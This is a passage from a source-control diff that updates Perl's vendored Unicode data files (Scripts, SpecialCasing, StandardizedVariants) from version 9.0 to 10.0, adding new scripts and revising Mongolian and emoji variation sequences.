 3038..303A    ; Han # Nl   [3] HANGZHOU NUMERAL TEN..HANGZHOU NUMERAL THIRTY
 303B          ; Han # Lm       VERTICAL IDEOGRAPHIC ITERATION MARK
 3400..4DB5    ; Han # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
-4E00..9FD5    ; Han # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; Han # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 F900..FA6D    ; Han # Lo [366] CJK COMPATIBILITY IDEOGRAPH-F900..CJK COMPATIBILITY IDEOGRAPH-FA6D
 FA70..FAD9    ; Han # Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA70..CJK COMPATIBILITY IDEOGRAPH-FAD9
 20000..2A6D6  ; Han # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
@@ -1508,9 +1513,10 @@
 2A700..2B734  ; Han # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; Han # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; Han # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; Han # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; Han # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 
-# Total code points: 81734
+# Total code points: 89228
 
 # ================================================
 
@@ -1525,8 +1531,9 @@
 
 10300..1031F  ; Old_Italic # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323  ; Old_Italic # No   [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
+1032D..1032F  ; Old_Italic # Lo   [3] OLD ITALIC LETTER YE..OLD ITALIC LETTER SOUTHERN TSE
 
-# Total code points: 36
+# Total code points: 39
 
 # ================================================
 
@@ -1558,7 +1565,7 @@
 1CED          ; Inherited # Mn       VEDIC SIGN TIRYAK
 1CF4          ; Inherited # Mn       VEDIC TONE CANDRA ABOVE
 1CF8..1CF9    ; Inherited # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; Inherited # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Inherited # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Inherited # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200C..200D    ; Inherited # Cf   [2] ZERO WIDTH NON-JOINER..ZERO WIDTH JOINER
 20D0..20DC    ; Inherited # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
@@ -1578,7 +1585,7 @@
 1D1AA..1D1AD  ; Inherited # Mn   [4] MUSICAL SYMBOL COMBINING DOWN BOW..MUSICAL SYMBOL COMBINING SNAP PIZZICATO
 E0100..E01EF  ; Inherited # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 564
+# Total code points: 568
 
 # ================================================
 
@@ -2629,4 +2636,58 @@
 
 # Total code points: 6881
 
+# ================================================
+
+11D00..11D06  ; Masaram_Gondi # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; Masaram_Gondi # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; Masaram_Gondi # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36  ; Masaram_Gondi # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Masaram_Gondi # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Masaram_Gondi # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Masaram_Gondi # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46         ; Masaram_Gondi # Lo       MASARAM GONDI REPHA
+11D47         ; Masaram_Gondi # Mn       MASARAM GONDI RA-KARA
+11D50..11D59  ; Masaram_Gondi # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
+
+# Total code points: 75
+
+# ================================================
+
+16FE1         ; Nushu # Lm       NUSHU ITERATION MARK
+1B170..1B2FB  ; Nushu # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
+
+# Total code points: 397
+
+# ================================================
+
+11A50         ; Soyombo # Lo       SOYOMBO LETTER A
+11A51..11A56  ; Soyombo # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58  ; Soyombo # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B  ; Soyombo # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83  ; Soyombo # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; Soyombo # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96  ; Soyombo # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97         ; Soyombo # Mc       SOYOMBO SIGN VISARGA
+11A98..11A99  ; Soyombo # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
+11A9A..11A9C  ; Soyombo # Po   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; Soyombo # Po   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
+
+# Total code points: 80
+
+# ================================================
+
+11A00         ; Zanabazar_Square # Lo       ZANABAZAR SQUARE LETTER A
+11A01..11A06  ; Zanabazar_Square # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08  ; Zanabazar_Square # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A  ; Zanabazar_Square # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32  ; Zanabazar_Square # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38  ; Zanabazar_Square # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39         ; Zanabazar_Square # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; Zanabazar_Square # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E  ; Zanabazar_Square # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F..11A46  ; Zanabazar_Square # Po   [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A47         ; Zanabazar_Square # Mn       ZANABAZAR SQUARE SUBJOINER
+
+# Total code points: 72
+
 # EOF

Modified: vendor/perl/dist/lib/unicore/SpecialCasing.txt
===================================================================
--- vendor/perl/dist/lib/unicore/SpecialCasing.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/SpecialCasing.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# SpecialCasing-9.0.0.txt
-# Date: 2016-03-02, 18:55:13 GMT
-# © 2016 Unicode®, Inc.
+# SpecialCasing-10.0.0.txt
+# Date: 2017-04-14, 05:40:43 GMT
+# © 2017 Unicode®, Inc.
 # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
@@ -197,7 +197,7 @@
 
 # ================================================================================
 # Conditional Mappings
-# The remainder of this file provides conditional casing data used to produce 
+# The remainder of this file provides conditional casing data used to produce
 # full case mappings.
 # ================================================================================
 # Language-Insensitive Mappings

Modified: vendor/perl/dist/lib/unicore/StandardizedVariants.txt
===================================================================
--- vendor/perl/dist/lib/unicore/StandardizedVariants.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/StandardizedVariants.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# StandardizedVariants-9.0.0.txt
-# Date: 2015-11-20, 22:54:00 GMT [KW, LI, RP]
-# © 1991-2015 Unicode®, Inc.
+# StandardizedVariants-10.0.0.txt
+# Date: 2017-05-02, 01:00:00 GMT [KW, LI, RP]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Specification of the variation sequences that are defined in the
@@ -10,21 +10,30 @@
 # Unicode Character Database.
 #
 # Standardized variation sequences are defined in this file.
+#
 # Ideographic variation sequences are defined according to the registration
 # process specified in UTS #37, and are listed in the Ideographic
-# Variation Database. Only those two types of variation sequences
+# Variation Database.
+#
+# Emoji variation sequences are defined in the file
+# emoji-variation-sequences.txt, documented in UTS #51, Unicode Emoji.
+#
+# Only those three types of variation sequences
 # are sanctioned for use by conformant implementations.
 # In all other cases, use of a variation selector character does
 # not change the visual appearance of the preceding base character
 # from what it would have had in the absence of the variation selector.
 #
-# For more information on standardized variation sequences, 
-# see Section 23.4, Variation Selectors, 
-# in The Unicode Standard, Version 9.0.
+# For more information on standardized variation sequences,
+# see Section 23.4, Variation Selectors,
+# in The Unicode Standard, Version 10.0.
 #
 # For more information on the Ideographic Variation Database,
 # see http://www.unicode.org/ivd/
 #
+# For more information on emoji variation sequences,
+# see http://www.unicode.org/reports/tr51/
+#
 # Format:
 #   Field 0: the variation sequence
 #   Field 1: the description of the desired appearance
@@ -37,7 +46,7 @@
 
 0030 FE00; short diagonal stroke form; # DIGIT ZERO
 2205 FE00; zero with long diagonal stroke overlay form; # EMPTY SET
-2229 FE00; with serifs; # INTERSECTION 
+2229 FE00; with serifs; # INTERSECTION
 222A FE00; with serifs; # UNION
 2268 FE00; with vertical stroke; # LESS-THAN BUT NOT EQUAL TO
 2269 FE00; with vertical stroke; # GREATER-THAN BUT NOT EQUAL TO
@@ -117,43 +126,41 @@
 # Mongolian
 
 1820 180B; second form; isolate medial final # MONGOLIAN LETTER A
-1820 180C; third form; medial # MONGOLIAN LETTER A 
+1820 180C; third form; medial # MONGOLIAN LETTER A
 1821 180B; second form; initial final # MONGOLIAN LETTER E
 1822 180B; second form; medial # MONGOLIAN LETTER I
-1823 180B; second form; medial final # MONGOLIAN LETTER O 
-1824 180B; second form; medial # MONGOLIAN LETTER U 
-1825 180B; second form; medial final # MONGOLIAN LETTER OE 
-1825 180C; third form; medial # MONGOLIAN LETTER OE 
-1826 180B; second form; isolate medial final # MONGOLIAN LETTER UE 
-1826 180C; third form; medial # MONGOLIAN LETTER UE 
+1823 180B; second form; medial final # MONGOLIAN LETTER O
+1824 180B; second form; medial # MONGOLIAN LETTER U
+1825 180B; second form; medial final # MONGOLIAN LETTER OE
+1825 180C; third form; medial # MONGOLIAN LETTER OE
+1826 180B; second form; isolate medial final # MONGOLIAN LETTER UE
+1826 180C; third form; medial # MONGOLIAN LETTER UE
 1828 180B; second form; initial medial # MONGOLIAN LETTER NA
 1828 180C; third form; medial # MONGOLIAN LETTER NA
-1828 180D; separate form; medial # MONGOLIAN LETTER NA
-182A 180B; alternative form; final # MONGOLIAN LETTER BA
-182C 180B; second form; initial medial # MONGOLIAN LETTER QA
-182C 180B; feminine second form; isolate # MONGOLIAN LETTER QA 
+1828 180D; fourth form; medial # MONGOLIAN LETTER NA
+182A 180B; second form; final # MONGOLIAN LETTER BA
+182C 180B; second form; isolate initial medial # MONGOLIAN LETTER QA
 182C 180C; third form; medial # MONGOLIAN LETTER QA
 182C 180D; fourth form; medial # MONGOLIAN LETTER QA
-182D 180B; second form; initial medial # MONGOLIAN LETTER GA
-182D 180B; feminine form; final # MONGOLIAN LETTER GA
+182D 180B; second form; initial medial final # MONGOLIAN LETTER GA
 182D 180C; third form; medial # MONGOLIAN LETTER GA
-182D 180D; feminine form; medial # MONGOLIAN LETTER GA
+182D 180D; fourth form; medial # MONGOLIAN LETTER GA
 1830 180B; second form; final # MONGOLIAN LETTER SA
 1830 180C; third form; final # MONGOLIAN LETTER SA
-1832 180B; second form; medial # MONGOLIAN LETTER TA 
+1832 180B; second form; medial # MONGOLIAN LETTER TA
 1833 180B; second form; initial medial final # MONGOLIAN LETTER DA
 1835 180B; second form; medial # MONGOLIAN LETTER JA
-1836 180B; second form; initial medial # # MONGOLIAN LETTER YA
+1836 180B; second form; initial medial # MONGOLIAN LETTER YA
 1836 180C; third form; medial # MONGOLIAN LETTER YA
 1838 180B; second form; final # MONGOLIAN LETTER WA
 1844 180B; second form; medial # MONGOLIAN LETTER TODO E
-1845 180B; second form; medial # MONGOLIAN LETTER TODO I 
+1845 180B; second form; medial # MONGOLIAN LETTER TODO I
 1846 180B; second form; medial # MONGOLIAN LETTER TODO O
 1847 180B; second form; isolate medial final # MONGOLIAN LETTER TODO U
 1847 180C; third form; medial # MONGOLIAN LETTER TODO U
 1848 180B; second form; medial # MONGOLIAN LETTER TODO OE
 1849 180B; second form; isolate medial # MONGOLIAN LETTER TODO UE
-184D 180B; feminine form; initial medial # MONGOLIAN LETTER TODO QA
+184D 180B; second form; initial medial # MONGOLIAN LETTER TODO QA
 184E 180B; second form; medial # MONGOLIAN LETTER TODO GA
 185D 180B; second form; medial final # MONGOLIAN LETTER SIBE E
 185E 180B; second form; medial final # MONGOLIAN LETTER SIBE I
@@ -167,11 +174,9 @@
 1873 180B; second form; medial final # MONGOLIAN LETTER MANCHU I
 1873 180C; third form; medial final # MONGOLIAN LETTER MANCHU I
 1873 180D; fourth form; medial # MONGOLIAN LETTER MANCHU I
-1874 180B; second form; medial # MONGOLIAN LETTER MANCHU KA
-1874 180B; feminine first final form; final # MONGOLIAN LETTER MANCHU KA
-1874 180C; feminine first medial form; medial # MONGOLIAN LETTER MANCHU KA
-1874 180C; feminine second final form; final # MONGOLIAN LETTER MANCHU KA 
-1874 180D; feminine second medial form; medial # MONGOLIAN LETTER MANCHU KA
+1874 180B; second form; medial final # MONGOLIAN LETTER MANCHU KA
+1874 180C; third form; medial final # MONGOLIAN LETTER MANCHU KA
+1874 180D; fourth form; medial # MONGOLIAN LETTER MANCHU KA
 1876 180B; second form; initial medial # MONGOLIAN LETTER MANCHU FA
 1880 180B; second form; # MONGOLIAN LETTER ALI GALI ANUSVARA ONE
 1881 180B; second form; # MONGOLIAN LETTER ALI GALI VISARGA ONE
@@ -178,525 +183,9 @@
 1887 180B; second form; isolate final # MONGOLIAN LETTER ALI GALI A
 1887 180C; third form; final # MONGOLIAN LETTER ALI GALI A
 1887 180D; fourth form; final # MONGOLIAN LETTER ALI GALI A
-1888 180B; second form; final # MONGOLIAN LETTER ALI GALI I 
+1888 180B; second form; final # MONGOLIAN LETTER ALI GALI I
 188A 180B; second form; initial medial # MONGOLIAN LETTER ALI GALI NGA
 
-# Emoji variation sequences for use as part of keycap symbols
-
-0023 FE0E; text style;  # NUMBER SIGN
-0023 FE0F; emoji style; # NUMBER SIGN
-002A FE0E; text style;  # ASTERISK
-002A FE0F; emoji style; # ASTERISK
-0030 FE0E; text style;  # DIGIT ZERO
-0030 FE0F; emoji style; # DIGIT ZERO
-0031 FE0E; text style;  # DIGIT ONE
-0031 FE0F; emoji style; # DIGIT ONE
-0032 FE0E; text style;  # DIGIT TWO
-0032 FE0F; emoji style; # DIGIT TWO
-0033 FE0E; text style;  # DIGIT THREE
-0033 FE0F; emoji style; # DIGIT THREE
-0034 FE0E; text style;  # DIGIT FOUR
-0034 FE0F; emoji style; # DIGIT FOUR
-0035 FE0E; text style;  # DIGIT FIVE
-0035 FE0F; emoji style; # DIGIT FIVE
-0036 FE0E; text style;  # DIGIT SIX
-0036 FE0F; emoji style; # DIGIT SIX
-0037 FE0E; text style;  # DIGIT SEVEN
-0037 FE0F; emoji style; # DIGIT SEVEN
-0038 FE0E; text style;  # DIGIT EIGHT
-0038 FE0F; emoji style; # DIGIT EIGHT
-0039 FE0E; text style;  # DIGIT NINE
-0039 FE0F; emoji style; # DIGIT NINE
-
-# Emoji variation sequences
-
-00A9 FE0E; text style;  # COPYRIGHT SIGN
-00A9 FE0F; emoji style; # COPYRIGHT SIGN
-00AE FE0E; text style;  # REGISTERED SIGN
-00AE FE0F; emoji style; # REGISTERED SIGN
-203C FE0E; text style;  # DOUBLE EXCLAMATION MARK
-203C FE0F; emoji style; # DOUBLE EXCLAMATION MARK
-2049 FE0E; text style;  # EXCLAMATION QUESTION MARK
-2049 FE0F; emoji style; # EXCLAMATION QUESTION MARK
-2122 FE0E; text style;  # TRADE MARK SIGN
-2122 FE0F; emoji style; # TRADE MARK SIGN
-2139 FE0E; text style;  # INFORMATION SOURCE
-2139 FE0F; emoji style; # INFORMATION SOURCE
-2194 FE0E; text style;  # LEFT RIGHT ARROW
-2194 FE0F; emoji style; # LEFT RIGHT ARROW
-2195 FE0E; text style;  # UP DOWN ARROW
-2195 FE0F; emoji style; # UP DOWN ARROW
-2196 FE0E; text style;  # NORTH WEST ARROW
-2196 FE0F; emoji style; # NORTH WEST ARROW
-2197 FE0E; text style;  # NORTH EAST ARROW
-2197 FE0F; emoji style; # NORTH EAST ARROW
-2198 FE0E; text style;  # SOUTH EAST ARROW
-2198 FE0F; emoji style; # SOUTH EAST ARROW
-2199 FE0E; text style;  # SOUTH WEST ARROW
-2199 FE0F; emoji style; # SOUTH WEST ARROW
-21A9 FE0E; text style;  # LEFTWARDS ARROW WITH HOOK
-21A9 FE0F; emoji style; # LEFTWARDS ARROW WITH HOOK
-21AA FE0E; text style;  # RIGHTWARDS ARROW WITH HOOK
-21AA FE0F; emoji style; # RIGHTWARDS ARROW WITH HOOK
-231A FE0E; text style;  # WATCH
-231A FE0F; emoji style; # WATCH
-231B FE0E; text style;  # HOURGLASS
-231B FE0F; emoji style; # HOURGLASS
-2328 FE0E; text style;  # KEYBOARD
-2328 FE0F; emoji style; # KEYBOARD
-23CF FE0E; text style;  # EJECT SYMBOL
-23CF FE0F; emoji style; # EJECT SYMBOL
-23ED FE0E; text style;  # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-23ED FE0F; emoji style; # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-23EE FE0E; text style;  # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-23EE FE0F; emoji style; # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
-23EF FE0E; text style;  # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
-23EF FE0F; emoji style; # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
-23F1 FE0E; text style;  # STOPWATCH
-23F1 FE0F; emoji style; # STOPWATCH
-23F2 FE0E; text style;  # TIMER CLOCK
-23F2 FE0F; emoji style; # TIMER CLOCK
-23F8 FE0E; text style;  # DOUBLE VERTICAL BAR
-23F8 FE0F; emoji style; # DOUBLE VERTICAL BAR
-23F9 FE0E; text style;  # BLACK SQUARE FOR STOP
-23F9 FE0F; emoji style; # BLACK SQUARE FOR STOP
-23FA FE0E; text style;  # BLACK CIRCLE FOR RECORD
-23FA FE0F; emoji style; # BLACK CIRCLE FOR RECORD
-24C2 FE0E; text style;  # CIRCLED LATIN CAPITAL LETTER M
-24C2 FE0F; emoji style; # CIRCLED LATIN CAPITAL LETTER M
-25AA FE0E; text style;  # BLACK SMALL SQUARE
-25AA FE0F; emoji style; # BLACK SMALL SQUARE
-25AB FE0E; text style;  # WHITE SMALL SQUARE
-25AB FE0F; emoji style; # WHITE SMALL SQUARE
-25B6 FE0E; text style;  # BLACK RIGHT-POINTING TRIANGLE
-25B6 FE0F; emoji style; # BLACK RIGHT-POINTING TRIANGLE
-25C0 FE0E; text style;  # BLACK LEFT-POINTING TRIANGLE
-25C0 FE0F; emoji style; # BLACK LEFT-POINTING TRIANGLE
-25FB FE0E; text style;  # WHITE MEDIUM SQUARE
-25FB FE0F; emoji style; # WHITE MEDIUM SQUARE
-25FC FE0E; text style;  # BLACK MEDIUM SQUARE
-25FC FE0F; emoji style; # BLACK MEDIUM SQUARE
-25FD FE0E; text style;  # WHITE MEDIUM SMALL SQUARE
-25FD FE0F; emoji style; # WHITE MEDIUM SMALL SQUARE
-25FE FE0E; text style;  # BLACK MEDIUM SMALL SQUARE
-25FE FE0F; emoji style; # BLACK MEDIUM SMALL SQUARE
-2600 FE0E; text style;  # BLACK SUN WITH RAYS
-2600 FE0F; emoji style; # BLACK SUN WITH RAYS
-2601 FE0E; text style;  # CLOUD
-2601 FE0F; emoji style; # CLOUD
-2602 FE0E; text style;  # UMBRELLA
-2602 FE0F; emoji style; # UMBRELLA
-2603 FE0E; text style;  # SNOWMAN
-2603 FE0F; emoji style; # SNOWMAN
-2604 FE0E; text style;  # COMET
-2604 FE0F; emoji style; # COMET
-260E FE0E; text style;  # BLACK TELEPHONE
-260E FE0F; emoji style; # BLACK TELEPHONE
-2611 FE0E; text style;  # BALLOT BOX WITH CHECK
-2611 FE0F; emoji style; # BALLOT BOX WITH CHECK
-2614 FE0E; text style;  # UMBRELLA WITH RAIN DROPS
-2614 FE0F; emoji style; # UMBRELLA WITH RAIN DROPS
-2615 FE0E; text style;  # HOT BEVERAGE
-2615 FE0F; emoji style; # HOT BEVERAGE
-2618 FE0E; text style;  # SHAMROCK
-2618 FE0F; emoji style; # SHAMROCK
-261D FE0E; text style;  # WHITE UP POINTING INDEX
-261D FE0F; emoji style; # WHITE UP POINTING INDEX
-2620 FE0E; text style;  # SKULL AND CROSSBONES
-2620 FE0F; emoji style; # SKULL AND CROSSBONES
-2622 FE0E; text style;  # RADIOACTIVE SIGN
-2622 FE0F; emoji style; # RADIOACTIVE SIGN
-2623 FE0E; text style;  # BIOHAZARD SIGN
-2623 FE0F; emoji style; # BIOHAZARD SIGN
-2626 FE0E; text style;  # ORTHODOX CROSS
-2626 FE0F; emoji style; # ORTHODOX CROSS
-262A FE0E; text style;  # STAR AND CRESCENT
-262A FE0F; emoji style; # STAR AND CRESCENT
-262E FE0E; text style;  # PEACE SYMBOL
-262E FE0F; emoji style; # PEACE SYMBOL
-262F FE0E; text style;  # YIN YANG
-262F FE0F; emoji style; # YIN YANG
-2638 FE0E; text style;  # WHEEL OF DHARMA
-2638 FE0F; emoji style; # WHEEL OF DHARMA
-2639 FE0E; text style;  # WHITE FROWNING FACE
-2639 FE0F; emoji style; # WHITE FROWNING FACE
-263A FE0E; text style;  # WHITE SMILING FACE
-263A FE0F; emoji style; # WHITE SMILING FACE
-2648 FE0E; text style;  # ARIES
-2648 FE0F; emoji style; # ARIES
-2649 FE0E; text style;  # TAURUS
-2649 FE0F; emoji style; # TAURUS
-264A FE0E; text style;  # GEMINI
-264A FE0F; emoji style; # GEMINI
-264B FE0E; text style;  # CANCER
-264B FE0F; emoji style; # CANCER
-264C FE0E; text style;  # LEO
-264C FE0F; emoji style; # LEO
-264D FE0E; text style;  # VIRGO
-264D FE0F; emoji style; # VIRGO
-264E FE0E; text style;  # LIBRA
-264E FE0F; emoji style; # LIBRA
-264F FE0E; text style;  # SCORPIUS
-264F FE0F; emoji style; # SCORPIUS
-2650 FE0E; text style;  # SAGITTARIUS
-2650 FE0F; emoji style; # SAGITTARIUS
-2651 FE0E; text style;  # CAPRICORN
-2651 FE0F; emoji style; # CAPRICORN
-2652 FE0E; text style;  # AQUARIUS
-2652 FE0F; emoji style; # AQUARIUS
-2653 FE0E; text style;  # PISCES
-2653 FE0F; emoji style; # PISCES
-2660 FE0E; text style;  # BLACK SPADE SUIT
-2660 FE0F; emoji style; # BLACK SPADE SUIT
-2663 FE0E; text style;  # BLACK CLUB SUIT
-2663 FE0F; emoji style; # BLACK CLUB SUIT
-2665 FE0E; text style;  # BLACK HEART SUIT
-2665 FE0F; emoji style; # BLACK HEART SUIT
-2666 FE0E; text style;  # BLACK DIAMOND SUIT
-2666 FE0F; emoji style; # BLACK DIAMOND SUIT
-2668 FE0E; text style;  # HOT SPRINGS
-2668 FE0F; emoji style; # HOT SPRINGS
-267B FE0E; text style;  # BLACK UNIVERSAL RECYCLING SYMBOL
-267B FE0F; emoji style; # BLACK UNIVERSAL RECYCLING SYMBOL
-267F FE0E; text style;  # WHEELCHAIR SYMBOL
-267F FE0F; emoji style; # WHEELCHAIR SYMBOL
-2692 FE0E; text style;  # HAMMER AND PICK
-2692 FE0F; emoji style; # HAMMER AND PICK
-2693 FE0E; text style;  # ANCHOR
-2693 FE0F; emoji style; # ANCHOR
-2694 FE0E; text style;  # CROSSED SWORDS
-2694 FE0F; emoji style; # CROSSED SWORDS
-2696 FE0E; text style;  # SCALES
-2696 FE0F; emoji style; # SCALES
-2697 FE0E; text style;  # ALEMBIC
-2697 FE0F; emoji style; # ALEMBIC
-2699 FE0E; text style;  # GEAR
-2699 FE0F; emoji style; # GEAR
-269B FE0E; text style;  # ATOM SYMBOL
-269B FE0F; emoji style; # ATOM SYMBOL
-269C FE0E; text style;  # FLEUR-DE-LIS
-269C FE0F; emoji style; # FLEUR-DE-LIS
-26A0 FE0E; text style;  # WARNING SIGN
-26A0 FE0F; emoji style; # WARNING SIGN
-26A1 FE0E; text style;  # HIGH VOLTAGE SIGN
-26A1 FE0F; emoji style; # HIGH VOLTAGE SIGN
-26AA FE0E; text style;  # MEDIUM WHITE CIRCLE
-26AA FE0F; emoji style; # MEDIUM WHITE CIRCLE
-26AB FE0E; text style;  # MEDIUM BLACK CIRCLE
-26AB FE0F; emoji style; # MEDIUM BLACK CIRCLE
-26B0 FE0E; text style;  # COFFIN
-26B0 FE0F; emoji style; # COFFIN
-26B1 FE0E; text style;  # FUNERAL URN
-26B1 FE0F; emoji style; # FUNERAL URN
-26BD FE0E; text style;  # SOCCER BALL
-26BD FE0F; emoji style; # SOCCER BALL
-26BE FE0E; text style;  # BASEBALL
-26BE FE0F; emoji style; # BASEBALL
-26C4 FE0E; text style;  # SNOWMAN WITHOUT SNOW
-26C4 FE0F; emoji style; # SNOWMAN WITHOUT SNOW
-26C5 FE0E; text style;  # SUN BEHIND CLOUD
-26C5 FE0F; emoji style; # SUN BEHIND CLOUD
-26C8 FE0E; text style;  # THUNDER CLOUD AND RAIN
-26C8 FE0F; emoji style; # THUNDER CLOUD AND RAIN
-26CF FE0E; text style;  # PICK
-26CF FE0F; emoji style; # PICK
-26D1 FE0E; text style;  # HELMET WITH WHITE CROSS
-26D1 FE0F; emoji style; # HELMET WITH WHITE CROSS
-26D3 FE0E; text style;  # CHAINS
-26D3 FE0F; emoji style; # CHAINS
-26D4 FE0E; text style;  # NO ENTRY
-26D4 FE0F; emoji style; # NO ENTRY
-26E9 FE0E; text style;  # SHINTO SHRINE
-26E9 FE0F; emoji style; # SHINTO SHRINE
-26EA FE0E; text style;  # CHURCH
-26EA FE0F; emoji style; # CHURCH
-26F0 FE0E; text style;  # MOUNTAIN
-26F0 FE0F; emoji style; # MOUNTAIN
-26F1 FE0E; text style;  # UMBRELLA ON GROUND
-26F1 FE0F; emoji style; # UMBRELLA ON GROUND
-26F2 FE0E; text style;  # FOUNTAIN
-26F2 FE0F; emoji style; # FOUNTAIN
-26F3 FE0E; text style;  # FLAG IN HOLE
-26F3 FE0F; emoji style; # FLAG IN HOLE
-26F4 FE0E; text style;  # FERRY
-26F4 FE0F; emoji style; # FERRY
-26F5 FE0E; text style;  # SAILBOAT
-26F5 FE0F; emoji style; # SAILBOAT
-26F7 FE0E; text style;  # SKIER
-26F7 FE0F; emoji style; # SKIER
-26F8 FE0E; text style;  # ICE SKATE
-26F8 FE0F; emoji style; # ICE SKATE
-26F9 FE0E; text style;  # PERSON WITH BALL
-26F9 FE0F; emoji style; # PERSON WITH BALL
-26FA FE0E; text style;  # TENT
-26FA FE0F; emoji style; # TENT
-26FD FE0E; text style;  # FUEL PUMP
-26FD FE0F; emoji style; # FUEL PUMP
-2702 FE0E; text style;  # BLACK SCISSORS
-2702 FE0F; emoji style; # BLACK SCISSORS
-2708 FE0E; text style;  # AIRPLANE
-2708 FE0F; emoji style; # AIRPLANE
-2709 FE0E; text style;  # ENVELOPE
-2709 FE0F; emoji style; # ENVELOPE
-270C FE0E; text style;  # VICTORY HAND
-270C FE0F; emoji style; # VICTORY HAND
-270D FE0E; text style;  # WRITING HAND
-270D FE0F; emoji style; # WRITING HAND
-270F FE0E; text style;  # PENCIL
-270F FE0F; emoji style; # PENCIL
-2712 FE0E; text style;  # BLACK NIB
-2712 FE0F; emoji style; # BLACK NIB
-2714 FE0E; text style;  # HEAVY CHECK MARK
-2714 FE0F; emoji style; # HEAVY CHECK MARK
